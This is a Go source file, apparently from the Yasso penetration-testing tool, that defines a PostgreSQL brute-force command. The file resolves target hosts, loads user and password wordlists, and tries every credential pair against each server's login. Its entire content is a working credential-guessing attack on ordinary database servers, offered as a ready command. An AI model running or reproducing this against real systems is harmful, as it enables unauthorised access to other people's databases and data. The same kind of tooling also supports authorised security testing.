package cmd import ( "Yasso/config" "database/sql" "fmt" _ "github.com/lib/pq" "github.com/spf13/cobra" "time" ) var PostgreCmd = &cobra.Command{ Use: "postgres", Short: "PostgreSQL burst module (not support proxy)", Run: func(cmd *cobra.Command, args []string) { if Hosts == ""{ _ = cmd.Help() }else{ BrutePostgreByUser() } }, } func BrutePostgreByUser(){ if BrutePort == 0 { BrutePort = 5432 } var ips []string var err error if Hosts != ""{ ips,err = ResolveIPS(Hosts) if err != nil { Println(fmt.Sprintf("resolve hosts address failed %v",err)) return } if BruteFlag == true { users,pass := ReadTextToDic("postgres",UserDic,PassDic) Println(Clearln+"[*] Brute Module [postgres]") Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) SwitchBurp("postgres",users,pass,ips,BrutePort,Runtime,TimeDuration,"") }else{ Println(Clearln + "[*] May be you want to brute? try to add --crack") } } } func PostgreConn(info config.HostIn,user,pass string)(bool, error){ var flag = false db, err := sql.Open("postgres",fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v",user,pass,info.Host,info.Port,"postgres","disable")) if err == nil { db.SetConnMaxLifetime(time.Duration(info.TimeOut)) defer db.Close() err = db.Ping() if err == nil { flag = true } } return flag,err }